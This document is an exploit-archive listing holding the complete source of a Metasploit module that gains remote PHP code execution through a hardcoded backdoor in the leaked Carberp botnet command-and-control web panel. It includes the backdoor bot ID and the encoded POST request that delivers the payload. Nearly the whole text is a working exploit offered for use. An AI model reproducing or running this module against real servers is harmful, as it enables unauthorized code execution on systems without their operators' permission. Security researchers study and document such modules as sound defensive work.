Carberp Web Panel C2 Backdoor Remote PHP Code Execution

2013.07.01
Credit: bwall
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution', 'Description' => %q{ This module exploits backdoors that can be sighted all over the leaked source code of the Carberp botnet C2 Web Panel. }, 'License' => MSF_LICENSE, 'Author' => [ 'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module 'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting 'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting ], 'References' => [ ['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html'] ], 'Privileged' => false, 'Payload' => { 'Keys' => ['php'], 'Space' => 10000, 'DisableNops' => true }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['carberp', {}] ], 'DisclosureDate' => 'Jun 28 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]), OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']), ],self.class) end def check confirm_string = rand_text_alpha(8) cmd = "echo '#{confirm_string}';" shell = http_send_command(cmd) check_code = Exploit::CheckCode::Safe if shell and shell.body.include?(confirm_string) check_code = Exploit::CheckCode::Vulnerable end check_code end def http_send_command(cmd) uri = normalize_uri(target_uri.path.to_s) request_parameters = { 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'id' => datastore['BOTID'], "data" => Rex::Text.encode_base64(cmd.unpack('H*')) } } res = send_request_cgi(request_parameters) res end def exploit http_send_command(payload.encoded) end end

References:

http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html


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